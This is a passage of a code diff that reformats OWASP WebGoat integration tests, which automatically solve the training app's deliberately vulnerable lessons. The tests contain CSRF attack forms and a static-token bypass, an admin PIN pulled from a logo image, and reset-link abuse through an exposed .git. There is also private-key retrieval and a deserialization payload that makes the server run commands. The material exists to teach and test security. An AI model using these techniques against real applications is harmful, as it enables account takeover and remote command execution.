|
||||||
|
|
||||||
private static final String trickHTML8 = "<!DOCTYPE html><html><body><form action=\"WEBGOATURL\" method=\"POST\">\n" +
|
private static final String trickHTML8 =
|
||||||
"<input type=\"hidden\" name=\"username\" value=\"csrf-USERNAME\"/>\n" +
|
"<!DOCTYPE html><html><body><form action=\"WEBGOATURL\" method=\"POST\">\n"
|
||||||
"<input type=\"hidden\" name=\"password\" value=\"password\"/>\n" +
|
+ "<input type=\"hidden\" name=\"username\" value=\"csrf-USERNAME\"/>\n"
|
||||||
"<input type=\"hidden\" name=\"matchingPassword\" value=\"password\"/>\n" +
|
+ "<input type=\"hidden\" name=\"password\" value=\"password\"/>\n"
|
||||||
"<input type=\"hidden\" name=\"agree\" value=\"agree\"/>\n" +
|
+ "<input type=\"hidden\" name=\"matchingPassword\" value=\"password\"/>\n"
|
||||||
"<input type=\"submit\" value=\"assignment 8\"/>\n" +
|
+ "<input type=\"hidden\" name=\"agree\" value=\"agree\"/>\n"
|
||||||
"</form></body></html>";
|
+ "<input type=\"submit\" value=\"assignment 8\"/>\n"
|
||||||
|
+ "</form></body></html>";
|
||||||
|
|
||||||
private String webwolfFileDir;
|
private String webwolfFileDir;
|
||||||
|
|
||||||
@ -61,7 +67,9 @@ public class CSRFIntegrationTest extends IntegrationTest {
|
|||||||
uploadTrickHtml("csrf3.html", trickHTML3.replace("WEBGOATURL", url("/csrf/basic-get-flag")));
|
uploadTrickHtml("csrf3.html", trickHTML3.replace("WEBGOATURL", url("/csrf/basic-get-flag")));
|
||||||
uploadTrickHtml("csrf4.html", trickHTML4.replace("WEBGOATURL", url("/csrf/review")));
|
uploadTrickHtml("csrf4.html", trickHTML4.replace("WEBGOATURL", url("/csrf/review")));
|
||||||
uploadTrickHtml("csrf7.html", trickHTML7.replace("WEBGOATURL", url("/csrf/feedback/message")));
|
uploadTrickHtml("csrf7.html", trickHTML7.replace("WEBGOATURL", url("/csrf/feedback/message")));
|
||||||
uploadTrickHtml("csrf8.html", trickHTML8.replace("WEBGOATURL", url("/login")).replace("USERNAME", this.getUser()));
|
uploadTrickHtml(
|
||||||
|
"csrf8.html",
|
||||||
|
trickHTML8.replace("WEBGOATURL", url("/login")).replace("USERNAME", this.getUser()));
|
||||||
}
|
}
|
||||||
|
|
||||||
@TestFactory
|
@TestFactory
|
||||||
@ -70,8 +78,7 @@ public class CSRFIntegrationTest extends IntegrationTest {
|
|||||||
dynamicTest("assignment 3", () -> checkAssignment3(callTrickHtml("csrf3.html"))),
|
dynamicTest("assignment 3", () -> checkAssignment3(callTrickHtml("csrf3.html"))),
|
||||||
dynamicTest("assignment 4", () -> checkAssignment4(callTrickHtml("csrf4.html"))),
|
dynamicTest("assignment 4", () -> checkAssignment4(callTrickHtml("csrf4.html"))),
|
||||||
dynamicTest("assignment 7", () -> checkAssignment7(callTrickHtml("csrf7.html"))),
|
dynamicTest("assignment 7", () -> checkAssignment7(callTrickHtml("csrf7.html"))),
|
||||||
dynamicTest("assignment 8", () -> checkAssignment8(callTrickHtml("csrf8.html")))
|
dynamicTest("assignment 8", () -> checkAssignment8(callTrickHtml("csrf8.html"))));
|
||||||
);
|
|
||||||
}
|
}
|
||||||
|
|
||||||
@AfterEach
|
@AfterEach
|
||||||
@ -98,18 +105,25 @@ public class CSRFIntegrationTest extends IntegrationTest {
|
|||||||
.multiPart("file", htmlName, htmlContent.getBytes())
|
.multiPart("file", htmlName, htmlContent.getBytes())
|
||||||
.post(webWolfUrl("/WebWolf/fileupload"))
|
.post(webWolfUrl("/WebWolf/fileupload"))
|
||||||
.then()
|
.then()
|
||||||
.extract().response().getBody().asString();
|
.extract()
|
||||||
|
.response()
|
||||||
|
.getBody()
|
||||||
|
.asString();
|
||||||
}
|
}
|
||||||
|
|
||||||
private String callTrickHtml(String htmlName) {
|
private String callTrickHtml(String htmlName) {
|
||||||
String result = RestAssured.given()
|
String result =
|
||||||
|
RestAssured.given()
|
||||||
.when()
|
.when()
|
||||||
.relaxedHTTPSValidation()
|
.relaxedHTTPSValidation()
|
||||||
.cookie("JSESSIONID", getWebGoatCookie())
|
.cookie("JSESSIONID", getWebGoatCookie())
|
||||||
.cookie("WEBWOLFSESSION", getWebWolfCookie())
|
.cookie("WEBWOLFSESSION", getWebWolfCookie())
|
||||||
.get(webWolfUrl("/files/" + this.getUser() + "/" + htmlName))
|
.get(webWolfUrl("/files/" + this.getUser() + "/" + htmlName))
|
||||||
.then()
|
.then()
|
||||||
.extract().response().getBody().asString();
|
.extract()
|
||||||
|
.response()
|
||||||
|
.getBody()
|
||||||
|
.asString();
|
||||||
result = result.substring(8 + result.indexOf("action=\""));
|
result = result.substring(8 + result.indexOf("action=\""));
|
||||||
result = result.substring(0, result.indexOf("\""));
|
result = result.substring(0, result.indexOf("\""));
|
||||||
|
|
||||||
@ -117,14 +131,17 @@ public class CSRFIntegrationTest extends IntegrationTest {
|
|||||||
}
|
}
|
||||||
|
|
||||||
private void checkAssignment3(String goatURL) {
|
private void checkAssignment3(String goatURL) {
|
||||||
String flag = RestAssured.given()
|
String flag =
|
||||||
|
RestAssured.given()
|
||||||
.when()
|
.when()
|
||||||
.relaxedHTTPSValidation()
|
.relaxedHTTPSValidation()
|
||||||
.cookie("JSESSIONID", getWebGoatCookie())
|
.cookie("JSESSIONID", getWebGoatCookie())
|
||||||
.header("Referer", webWolfUrl("/files/fake.html"))
|
.header("Referer", webWolfUrl("/files/fake.html"))
|
||||||
.post(goatURL)
|
.post(goatURL)
|
||||||
.then()
|
.then()
|
||||||
.extract().path("flag").toString();
|
.extract()
|
||||||
|
.path("flag")
|
||||||
|
.toString();
|
||||||
|
|
||||||
Map<String, Object> params = new HashMap<>();
|
Map<String, Object> params = new HashMap<>();
|
||||||
params.clear();
|
params.clear();
|
||||||
@ -138,9 +155,11 @@ public class CSRFIntegrationTest extends IntegrationTest {
|
|||||||
params.clear();
|
params.clear();
|
||||||
params.put("reviewText", "test review");
|
params.put("reviewText", "test review");
|
||||||
params.put("stars", "5");
|
params.put("stars", "5");
|
||||||
params.put("validateReq", "2aa14227b9a13d0bede0388a7fba9aa9");//always the same token is the weakness
|
params.put(
|
||||||
|
"validateReq", "2aa14227b9a13d0bede0388a7fba9aa9"); // always the same token is the weakness
|
||||||
|
|
||||||
boolean result = RestAssured.given()
|
boolean result =
|
||||||
|
RestAssured.given()
|
||||||
.when()
|
.when()
|
||||||
.relaxedHTTPSValidation()
|
.relaxedHTTPSValidation()
|
||||||
.cookie("JSESSIONID", getWebGoatCookie())
|
.cookie("JSESSIONID", getWebGoatCookie())
|
||||||
@ -148,32 +167,38 @@ public class CSRFIntegrationTest extends IntegrationTest {
|
|||||||
.formParams(params)
|
.formParams(params)
|
||||||
.post(goatURL)
|
.post(goatURL)
|
||||||
.then()
|
.then()
|
||||||
.extract().path("lessonCompleted");
|
.extract()
|
||||||
|
.path("lessonCompleted");
|
||||||
assertEquals(true, result);
|
assertEquals(true, result);
|
||||||
|
|
||||||
}
|
}
|
||||||
|
|
||||||
private void checkAssignment7(String goatURL) {
|
private void checkAssignment7(String goatURL) {
|
||||||
Map<String, Object> params = new HashMap<>();
|
Map<String, Object> params = new HashMap<>();
|
||||||
params.put("{\"name\":\"WebGoat\",\"email\":\"webgoat@webgoat.org\",\"content\":\"WebGoat is the best!!", "\"}");
|
params.put(
|
||||||
|
"{\"name\":\"WebGoat\",\"email\":\"webgoat@webgoat.org\",\"content\":\"WebGoat is the"
|
||||||
|
+ " best!!",
|
||||||
|
"\"}");
|
||||||
|
|
||||||
String flag = RestAssured.given()
|
String flag =
|
||||||
|
RestAssured.given()
|
||||||
.when()
|
.when()
|
||||||
.relaxedHTTPSValidation()
|
.relaxedHTTPSValidation()
|
||||||
.cookie("JSESSIONID", getWebGoatCookie())
|
.cookie("JSESSIONID", getWebGoatCookie())
|
||||||
.header("Referer", webWolfUrl("/files/fake.html"))
|
.header("Referer", webWolfUrl("/files/fake.html"))
|
||||||
.contentType(ContentType.TEXT)
|
.contentType(ContentType.TEXT)
|
||||||
.body("{\"name\":\"WebGoat\",\"email\":\"webgoat@webgoat.org\",\"content\":\"WebGoat is the best!!" + "=\"}")
|
.body(
|
||||||
|
"{\"name\":\"WebGoat\",\"email\":\"webgoat@webgoat.org\",\"content\":\"WebGoat is"
|
||||||
|
+ " the best!!=\"}")
|
||||||
.post(goatURL)
|
.post(goatURL)
|
||||||
.then()
|
.then()
|
||||||
.extract().asString();
|
.extract()
|
||||||
|
.asString();
|
||||||
flag = flag.substring(9 + flag.indexOf("flag is:"));
|
flag = flag.substring(9 + flag.indexOf("flag is:"));
|
||||||
flag = flag.substring(0, flag.indexOf("\""));
|
flag = flag.substring(0, flag.indexOf("\""));
|
||||||
|
|
||||||
params.clear();
|
params.clear();
|
||||||
params.put("confirmFlagVal", flag);
|
params.put("confirmFlagVal", flag);
|
||||||
checkAssignment(url("/WebGoat/csrf/feedback"), params, true);
|
checkAssignment(url("/WebGoat/csrf/feedback"), params, true);
|
||||||
|
|
||||||
}
|
}
|
||||||
|
|
||||||
private void checkAssignment8(String goatURL) {
|
private void checkAssignment8(String goatURL) {
|
||||||
@ -187,7 +212,8 @@ public class CSRFIntegrationTest extends IntegrationTest {
|
|||||||
params.put("password", "password");
|
params.put("password", "password");
|
||||||
|
|
||||||
// login and get the new cookie
|
// login and get the new cookie
|
||||||
String newCookie = RestAssured.given()
|
String newCookie =
|
||||||
|
RestAssured.given()
|
||||||
.when()
|
.when()
|
||||||
.relaxedHTTPSValidation()
|
.relaxedHTTPSValidation()
|
||||||
.cookie("JSESSIONID", getWebGoatCookie())
|
.cookie("JSESSIONID", getWebGoatCookie())
|
||||||
@ -195,7 +221,8 @@ public class CSRFIntegrationTest extends IntegrationTest {
|
|||||||
.params(params)
|
.params(params)
|
||||||
.post(goatURL)
|
.post(goatURL)
|
||||||
.then()
|
.then()
|
||||||
.extract().cookie("JSESSIONID");
|
.extract()
|
||||||
|
.cookie("JSESSIONID");
|
||||||
|
|
||||||
// select the lesson
|
// select the lesson
|
||||||
RestAssured.given()
|
RestAssured.given()
|
||||||
@ -207,21 +234,24 @@ public class CSRFIntegrationTest extends IntegrationTest {
|
|||||||
.statusCode(200);
|
.statusCode(200);
|
||||||
|
|
||||||
// click on the assignment
|
// click on the assignment
|
||||||
boolean result = RestAssured.given()
|
boolean result =
|
||||||
|
RestAssured.given()
|
||||||
.when()
|
.when()
|
||||||
.relaxedHTTPSValidation()
|
.relaxedHTTPSValidation()
|
||||||
.cookie("JSESSIONID", newCookie)
|
.cookie("JSESSIONID", newCookie)
|
||||||
.post(url("/csrf/login"))
|
.post(url("/csrf/login"))
|
||||||
.then()
|
.then()
|
||||||
.statusCode(200)
|
.statusCode(200)
|
||||||
.extract().path("lessonCompleted");
|
.extract()
|
||||||
|
.path("lessonCompleted");
|
||||||
|
|
||||||
assertThat(result).isTrue();
|
assertThat(result).isTrue();
|
||||||
|
|
||||||
login();
|
login();
|
||||||
startLesson("CSRF", false);
|
startLesson("CSRF", false);
|
||||||
|
|
||||||
Overview[] assignments = RestAssured.given()
|
Overview[] assignments =
|
||||||
|
RestAssured.given()
|
||||||
.cookie("JSESSIONID", getWebGoatCookie())
|
.cookie("JSESSIONID", getWebGoatCookie())
|
||||||
.get(url("/service/lessonoverview.mvc"))
|
.get(url("/service/lessonoverview.mvc"))
|
||||||
.then()
|
.then()
|
||||||
@ -240,9 +270,7 @@ public class CSRFIntegrationTest extends IntegrationTest {
|
|||||||
boolean solved;
|
boolean solved;
|
||||||
}
|
}
|
||||||
|
|
||||||
/**
|
/** Try to register the new user. Ignore the result. */
|
||||||
* Try to register the new user. Ignore the result.
|
|
||||||
*/
|
|
||||||
private void registerCSRFUser() {
|
private void registerCSRFUser() {
|
||||||
|
|
||||||
RestAssured.given()
|
RestAssured.given()
|
||||||
@ -253,7 +281,5 @@ public class CSRFIntegrationTest extends IntegrationTest {
|
|||||||
.formParam("matchingPassword", "password")
|
.formParam("matchingPassword", "password")
|
||||||
.formParam("agree", "agree")
|
.formParam("agree", "agree")
|
||||||
.post(url("register.mvc"));
|
.post(url("register.mvc"));
|
||||||
|
|
||||||
}
|
}
|
||||||
|
|
||||||
}
|
}
|
||||||
|
@ -1,21 +1,20 @@
|
|||||||
package org.owasp.webgoat;
|
package org.owasp.webgoat;
|
||||||
|
|
||||||
|
import static org.junit.jupiter.api.Assertions.assertTrue;
|
||||||
|
|
||||||
import io.restassured.RestAssured;
|
import io.restassured.RestAssured;
|
||||||
import org.junit.jupiter.api.Test;
|
|
||||||
|
|
||||||
import java.util.Arrays;
|
import java.util.Arrays;
|
||||||
import java.util.HashMap;
|
import java.util.HashMap;
|
||||||
import java.util.List;
|
import java.util.List;
|
||||||
import java.util.Map;
|
import java.util.Map;
|
||||||
|
import org.assertj.core.api.Assertions;
|
||||||
import static org.junit.jupiter.api.Assertions.assertTrue;
|
import org.junit.jupiter.api.Test;
|
||||||
|
import org.springframework.http.HttpStatus;
|
||||||
|
|
||||||
public class ChallengeIntegrationTest extends IntegrationTest {
|
public class ChallengeIntegrationTest extends IntegrationTest {
|
||||||
|
|
||||||
@Test
|
@Test
|
||||||
public void testChallenge1() {
|
void testChallenge1() {
|
||||||
startLesson("Challenge1");
|
startLesson("Challenge1");
|
||||||
|
|
||||||
byte[] resultBytes =
|
byte[] resultBytes =
|
||||||
@ -26,7 +25,8 @@ public class ChallengeIntegrationTest extends IntegrationTest {
|
|||||||
.get(url("/WebGoat/challenge/logo"))
|
.get(url("/WebGoat/challenge/logo"))
|
||||||
.then()
|
.then()
|
||||||
.statusCode(200)
|
.statusCode(200)
|
||||||
.extract().asByteArray();
|
.extract()
|
||||||
|
.asByteArray();
|
||||||
|
|
||||||
String pincode = new String(Arrays.copyOfRange(resultBytes, 81216, 81220));
|
String pincode = new String(Arrays.copyOfRange(resultBytes, 81216, 81220));
|
||||||
Map<String, Object> params = new HashMap<>();
|
Map<String, Object> params = new HashMap<>();
|
||||||
@ -34,7 +34,6 @@ public class ChallengeIntegrationTest extends IntegrationTest {
|
|||||||
params.put("username", "admin");
|
params.put("username", "admin");
|
||||||
params.put("password", "!!webgoat_admin_1234!!".replace("1234", pincode));
|
params.put("password", "!!webgoat_admin_1234!!".replace("1234", pincode));
|
||||||
|
|
||||||
|
|
||||||
checkAssignment(url("/WebGoat/challenge/1"), params, true);
|
checkAssignment(url("/WebGoat/challenge/1"), params, true);
|
||||||
String result =
|
String result =
|
||||||
RestAssured.given()
|
RestAssured.given()
|
||||||
@ -45,14 +44,14 @@ public class ChallengeIntegrationTest extends IntegrationTest {
|
|||||||
.post(url("/WebGoat/challenge/1"))
|
.post(url("/WebGoat/challenge/1"))
|
||||||
.then()
|
.then()
|
||||||
.statusCode(200)
|
.statusCode(200)
|
||||||
.extract().asString();
|
.extract()
|
||||||
|
.asString();
|
||||||
|
|
||||||
String flag = result.substring(result.indexOf("flag") + 6, result.indexOf("flag") + 42);
|
String flag = result.substring(result.indexOf("flag") + 6, result.indexOf("flag") + 42);
|
||||||
params.clear();
|
params.clear();
|
||||||
params.put("flag", flag);
|
params.put("flag", flag);
|
||||||
checkAssignment(url("/WebGoat/challenge/flag"), params, true);
|
checkAssignment(url("/WebGoat/challenge/flag"), params, true);
|
||||||
|
|
||||||
|
|
||||||
checkResults("/challenge/1");
|
checkResults("/challenge/1");
|
||||||
|
|
||||||
List<String> capturefFlags =
|
List<String> capturefFlags =
|
||||||
@ -63,13 +62,14 @@ public class ChallengeIntegrationTest extends IntegrationTest {
|
|||||||
.get(url("/WebGoat/scoreboard-data"))
|
.get(url("/WebGoat/scoreboard-data"))
|
||||||
.then()
|
.then()
|
||||||
.statusCode(200)
|
.statusCode(200)
|
||||||
.extract().jsonPath()
|
.extract()
|
||||||
|
.jsonPath()
|
||||||
.get("find { it.username == \"" + this.getUser() + "\" }.flagsCaptured");
|
.get("find { it.username == \"" + this.getUser() + "\" }.flagsCaptured");
|
||||||
assertTrue(capturefFlags.contains("Admin lost password"));
|
assertTrue(capturefFlags.contains("Admin lost password"));
|
||||||
}
|
}
|
||||||
|
|
||||||
@Test
|
@Test
|
||||||
public void testChallenge5() {
|
void testChallenge5() {
|
||||||
startLesson("Challenge5");
|
startLesson("Challenge5");
|
||||||
|
|
||||||
Map<String, Object> params = new HashMap<>();
|
Map<String, Object> params = new HashMap<>();
|
||||||
@ -86,14 +86,14 @@ public class ChallengeIntegrationTest extends IntegrationTest {
|
|||||||
.post(url("/WebGoat/challenge/5"))
|
.post(url("/WebGoat/challenge/5"))
|
||||||
.then()
|
.then()
|
||||||
.statusCode(200)
|
.statusCode(200)
|
||||||
.extract().asString();
|
.extract()
|
||||||
|
.asString();
|
||||||
|
|
||||||
String flag = result.substring(result.indexOf("flag") + 6, result.indexOf("flag") + 42);
|
String flag = result.substring(result.indexOf("flag") + 6, result.indexOf("flag") + 42);
|
||||||
params.clear();
|
params.clear();
|
||||||
params.put("flag", flag);
|
params.put("flag", flag);
|
||||||
checkAssignment(url("/WebGoat/challenge/flag"), params, true);
|
checkAssignment(url("/WebGoat/challenge/flag"), params, true);
|
||||||
|
|
||||||
|
|
||||||
checkResults("/challenge/5");
|
checkResults("/challenge/5");
|
||||||
|
|
||||||
List<String> capturefFlags =
|
List<String> capturefFlags =
|
||||||
@ -104,9 +104,67 @@ public class ChallengeIntegrationTest extends IntegrationTest {
|
|||||||
.get(url("/WebGoat/scoreboard-data"))
|
.get(url("/WebGoat/scoreboard-data"))
|
||||||
.then()
|
.then()
|
||||||
.statusCode(200)
|
.statusCode(200)
|
||||||
.extract().jsonPath()
|
.extract()
|
||||||
|
.jsonPath()
|
||||||
.get("find { it.username == \"" + this.getUser() + "\" }.flagsCaptured");
|
.get("find { it.username == \"" + this.getUser() + "\" }.flagsCaptured");
|
||||||
assertTrue(capturefFlags.contains("Without password"));
|
assertTrue(capturefFlags.contains("Without password"));
|
||||||
}
|
}
|
||||||
|
|
||||||
|
@Test
|
||||||
|
void testChallenge7() {
|
||||||
|
startLesson("Challenge7");
|
||||||
|
cleanMailbox();
|
||||||
|
|
||||||
|
// One should first be able to download git.zip from WebGoat
|
||||||
|
RestAssured.given()
|
||||||
|
.when()
|
||||||
|
.relaxedHTTPSValidation()
|
||||||
|
.cookie("JSESSIONID", getWebGoatCookie())
|
||||||
|
.get(url("/WebGoat/challenge/7/.git"))
|
||||||
|
.then()
|
||||||
|
.statusCode(200)
|
||||||
|
.extract()
|
||||||
|
.asString();
|
||||||
|
|
||||||
|
// Should send an email to WebWolf inbox this should give a hint to the link being static
|
||||||
|
RestAssured.given()
|
||||||
|
.when()
|
||||||
|
.relaxedHTTPSValidation()
|
||||||
|
.cookie("JSESSIONID", getWebGoatCookie())
|
||||||
|
.formParams("email", getUser() + "@webgoat.org")
|
||||||
|
.post(url("/WebGoat/challenge/7"))
|
||||||
|
.then()
|
||||||
|
.statusCode(200)
|
||||||
|
.extract()
|
||||||
|
.asString();
|
||||||
|
|
||||||
|
// Check whether email has been received
|
||||||
|
var responseBody =
|
||||||
|
RestAssured.given()
|
||||||
|
.when()
|
||||||
|
.relaxedHTTPSValidation()
|
||||||
|
.cookie("WEBWOLFSESSION", getWebWolfCookie())
|
||||||
|
.get(webWolfUrl("/mail"))
|
||||||
|
.then()
|
||||||
|
.extract()
|
||||||
|
.response()
|
||||||
|
.getBody()
|
||||||
|
.asString();
|
||||||
|
Assertions.assertThat(responseBody).contains("Hi, you requested a password reset link");
|
||||||
|
|
||||||
|
// Call reset link with admin link
|
||||||
|
String result =
|
||||||
|
RestAssured.given()
|
||||||
|
.when()
|
||||||
|
.relaxedHTTPSValidation()
|
||||||
|
.cookie("JSESSIONID", getWebGoatCookie())
|
||||||
|
.get(url("/challenge/7/reset-password/{link}"), "375afe1104f4a487a73823c50a9292a2")
|
||||||
|
.then()
|
||||||
|
.statusCode(HttpStatus.ACCEPTED.value())
|
||||||
|
.extract()
|
||||||
|
.asString();
|
||||||
|
|
||||||
|
String flag = result.substring(result.indexOf("flag") + 6, result.indexOf("flag") + 42);
|
||||||
|
checkAssignment(url("/WebGoat/challenge/flag"), Map.of("flag", flag), true);
|
||||||
|
}
|
||||||
}
|
}
|
||||||
|
@ -2,6 +2,7 @@ package org.owasp.webgoat;
|
|||||||
|
|
||||||
import static org.junit.jupiter.api.Assertions.fail;
|
import static org.junit.jupiter.api.Assertions.fail;
|
||||||
|
|
||||||
|
import io.restassured.RestAssured;
|
||||||
import java.nio.charset.Charset;
|
import java.nio.charset.Charset;
|
||||||
import java.security.NoSuchAlgorithmException;
|
import java.security.NoSuchAlgorithmException;
|
||||||
import java.security.PrivateKey;
|
import java.security.PrivateKey;
|
||||||
@ -10,15 +11,11 @@ import java.security.spec.InvalidKeySpecException;
|
|||||||
import java.util.Base64;
|
import java.util.Base64;
|
||||||
import java.util.HashMap;
|
import java.util.HashMap;
|
||||||
import java.util.Map;
|
import java.util.Map;
|
||||||
|
|
||||||
import javax.xml.bind.DatatypeConverter;
|
import javax.xml.bind.DatatypeConverter;
|
||||||
|
|
||||||
import org.junit.jupiter.api.Test;
|
import org.junit.jupiter.api.Test;
|
||||||
import org.owasp.webgoat.lessons.cryptography.CryptoUtil;
|
import org.owasp.webgoat.lessons.cryptography.CryptoUtil;
|
||||||
import org.owasp.webgoat.lessons.cryptography.HashingAssignment;
|
import org.owasp.webgoat.lessons.cryptography.HashingAssignment;
|
||||||
|
|
||||||
import io.restassured.RestAssured;
|
|
||||||
|
|
||||||
public class CryptoIntegrationTest extends IntegrationTest {
|
public class CryptoIntegrationTest extends IntegrationTest {
|
||||||
|
|
||||||
@Test
|
@Test
|
||||||
@ -46,13 +43,18 @@ public class CryptoIntegrationTest extends IntegrationTest {
|
|||||||
checkAssignmentDefaults();
|
checkAssignmentDefaults();
|
||||||
|
|
||||||
checkResults("/crypto");
|
checkResults("/crypto");
|
||||||
|
|
||||||
}
|
}
|
||||||
|
|
||||||
private void checkAssignment2() {
|
private void checkAssignment2() {
|
||||||
|
|
||||||
String basicEncoding = RestAssured.given().when().relaxedHTTPSValidation()
|
String basicEncoding =
|
||||||
.cookie("JSESSIONID", getWebGoatCookie()).get(url("/crypto/encoding/basic")).then().extract()
|
RestAssured.given()
|
||||||
|
.when()
|
||||||
|
.relaxedHTTPSValidation()
|
||||||
|
.cookie("JSESSIONID", getWebGoatCookie())
|
||||||
|
.get(url("/crypto/encoding/basic"))
|
||||||
|
.then()
|
||||||
|
.extract()
|
||||||
.asString();
|
.asString();
|
||||||
basicEncoding = basicEncoding.substring("Authorization: Basic ".length());
|
basicEncoding = basicEncoding.substring("Authorization: Basic ".length());
|
||||||
String decodedString = new String(Base64.getDecoder().decode(basicEncoding.getBytes()));
|
String decodedString = new String(Base64.getDecoder().decode(basicEncoding.getBytes()));
|
||||||
@ -75,11 +77,25 @@ public class CryptoIntegrationTest extends IntegrationTest {
|
|||||||
|
|
||||||
private void checkAssignment4() throws NoSuchAlgorithmException {
|
private void checkAssignment4() throws NoSuchAlgorithmException {
|
||||||
|
|
||||||
String md5Hash = RestAssured.given().when().relaxedHTTPSValidation().cookie("JSESSIONID", getWebGoatCookie())
|
String md5Hash =
|
||||||
.get(url("/crypto/hashing/md5")).then().extract().asString();
|
RestAssured.given()
|
||||||
|
.when()
|
||||||
|
.relaxedHTTPSValidation()
|
||||||
|
.cookie("JSESSIONID", getWebGoatCookie())
|
||||||
|
.get(url("/crypto/hashing/md5"))
|
||||||
|
.then()
|
||||||
|
.extract()
|
||||||
|
.asString();
|
||||||
|
|
||||||
String sha256Hash = RestAssured.given().when().relaxedHTTPSValidation().cookie("JSESSIONID", getWebGoatCookie())
|
String sha256Hash =
|
||||||
.get(url("/crypto/hashing/sha256")).then().extract().asString();
|
RestAssured.given()
|
||||||
|
.when()
|
||||||
|
.relaxedHTTPSValidation()
|
||||||
|
.cookie("JSESSIONID", getWebGoatCookie())
|
||||||
|
.get(url("/crypto/hashing/sha256"))
|
||||||
|
.then()
|
||||||
|
.extract()
|
||||||
|
.asString();
|
||||||
|
|
||||||
String answer_1 = "unknown";
|
String answer_1 = "unknown";
|
||||||
String answer_2 = "unknown";
|
String answer_2 = "unknown";
|
||||||
@ -101,13 +117,15 @@ public class CryptoIntegrationTest extends IntegrationTest {
|
|||||||
|
|
||||||
private void checkAssignmentSigning() throws NoSuchAlgorithmException, InvalidKeySpecException {
|
private void checkAssignmentSigning() throws NoSuchAlgorithmException, InvalidKeySpecException {
|
||||||
|
|
||||||
String privatePEM = RestAssured.given()
|
String privatePEM =
|
||||||
|
RestAssured.given()
|
||||||
.when()
|
.when()
|
||||||
.relaxedHTTPSValidation()
|
.relaxedHTTPSValidation()
|
||||||
.cookie("JSESSIONID", getWebGoatCookie())
|
.cookie("JSESSIONID", getWebGoatCookie())
|
||||||
.get(url("/crypto/signing/getprivate"))
|
.get(url("/crypto/signing/getprivate"))
|
||||||
.then()
|
.then()
|
||||||
.extract().asString();
|
.extract()
|
||||||
|
.asString();
|
||||||
PrivateKey privateKey = CryptoUtil.getPrivateKeyFromPEM(privatePEM);
|
PrivateKey privateKey = CryptoUtil.getPrivateKeyFromPEM(privatePEM);
|
||||||
|
|
||||||
RSAPrivateKey privk = (RSAPrivateKey) privateKey;
|
RSAPrivateKey privk = (RSAPrivateKey) privateKey;
|
||||||
@ -122,7 +140,12 @@ public class CryptoIntegrationTest extends IntegrationTest {
|
|||||||
|
|
||||||
private void checkAssignmentDefaults() {
|
private void checkAssignmentDefaults() {
|
||||||
|
|
||||||
String text = new String(Base64.getDecoder().decode("TGVhdmluZyBwYXNzd29yZHMgaW4gZG9ja2VyIGltYWdlcyBpcyBub3Qgc28gc2VjdXJl".getBytes(Charset.forName("UTF-8"))));
|
String text =
|
||||||
|
new String(
|
||||||
|
Base64.getDecoder()
|
||||||
|
.decode(
|
||||||
|
"TGVhdmluZyBwYXNzd29yZHMgaW4gZG9ja2VyIGltYWdlcyBpcyBub3Qgc28gc2VjdXJl"
|
||||||
|
.getBytes(Charset.forName("UTF-8"))));
|
||||||
|
|
||||||
Map<String, Object> params = new HashMap<>();
|
Map<String, Object> params = new HashMap<>();
|
||||||
params.clear();
|
params.clear();
|
||||||
@ -130,5 +153,4 @@ public class CryptoIntegrationTest extends IntegrationTest {
|
|||||||
params.put("secretFileName", "default_secret");
|
params.put("secretFileName", "default_secret");
|
||||||
checkAssignment(url("/crypto/secure/defaults"), params, true);
|
checkAssignment(url("/crypto/secure/defaults"), params, true);
|
||||||
}
|
}
|
||||||
|
|
||||||
}
|
}
|
||||||
|
@ -1,12 +1,11 @@
|
|||||||
package org.owasp.webgoat;
|
package org.owasp.webgoat;
|
||||||
|
|
||||||
import org.dummy.insecure.framework.VulnerableTaskHolder;
|
|
||||||
import org.junit.jupiter.api.Test;
|
|
||||||
import org.owasp.webgoat.lessons.deserialization.SerializationHelper;
|
|
||||||
|
|
||||||
import java.io.IOException;
|
import java.io.IOException;
|
||||||
import java.util.HashMap;
|
import java.util.HashMap;
|
||||||
import java.util.Map;
|
import java.util.Map;
|
||||||
|
import org.dummy.insecure.framework.VulnerableTaskHolder;
|
||||||
|
import org.junit.jupiter.api.Test;
|
||||||
|
import org.owasp.webgoat.lessons.deserialization.SerializationHelper;
|
||||||
|
|
||||||
public class DeserializationIntegrationTest extends IntegrationTest {
|
public class DeserializationIntegrationTest extends IntegrationTest {
|
||||||
|
|
||||||
@ -20,15 +19,15 @@ public class DeserializationIntegrationTest extends IntegrationTest {
|
|||||||
params.clear();
|
params.clear();
|
||||||
|
|
||||||
if (OS.indexOf("win") > -1) {
|
if (OS.indexOf("win") > -1) {
|
||||||
params.put("token", SerializationHelper.toString(new VulnerableTaskHolder("wait", "ping localhost -n 5")));
|
params.put(
|
||||||
|
"token",
|
||||||
|
SerializationHelper.toString(new VulnerableTaskHolder("wait", "ping localhost -n 5")));
|
||||||
} else {
|
} else {
|
||||||
params.put("token", SerializationHelper.toString(new VulnerableTaskHolder("wait", "sleep 5")));
|
params.put(
|
||||||
|
"token", SerializationHelper.toString(new VulnerableTaskHolder("wait", "sleep 5")));
|
||||||
}
|
}
|
||||||
checkAssignment(url("/WebGoat/InsecureDeserialization/task"), params, true);
|
checkAssignment(url("/WebGoat/InsecureDeserialization/task"), params, true);
|
||||||
|
|
||||||
checkResults("/InsecureDeserialization/");
|
checkResults("/InsecureDeserialization/");
|
||||||
|
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|
||||||
}
|
}
|
||||||
|
@ -61,7 +61,8 @@ public class GeneralLessonIntegrationTest extends IntegrationTest {
|
|||||||
params.clear();
|
params.clear();
|
||||||
params.put(
|
params.put(
|
||||||
"question_0_solution",
|
"question_0_solution",
|
||||||
"Solution 3: By stealing a database where names and emails are stored and uploading it to a website.");
|
"Solution 3: By stealing a database where names and emails are stored and uploading it to a"
|
||||||
|
+ " website.");
|
||||||
params.put(
|
params.put(
|
||||||
"question_1_solution",
|
"question_1_solution",
|
||||||
"Solution 1: By changing the names and emails of one or more users stored in a database.");
|
"Solution 1: By changing the names and emails of one or more users stored in a database.");
|
||||||
|
@ -1,13 +1,14 @@
|
|||||||
package org.owasp.webgoat;
|
package org.owasp.webgoat;
|
||||||
|
|
||||||
|
|
||||||
import static org.junit.jupiter.api.DynamicTest.dynamicTest;
|
import static org.junit.jupiter.api.DynamicTest.dynamicTest;
|
||||||
|
|
||||||
|
import io.restassured.RestAssured;
|
||||||
|
import io.restassured.http.ContentType;
|
||||||
import java.io.IOException;
|
import java.io.IOException;
|
||||||
import java.util.Arrays;
|
import java.util.Arrays;
|
||||||
import java.util.HashMap;
|
import java.util.HashMap;
|
||||||
import java.util.Map;
|
import java.util.Map;
|
||||||
|
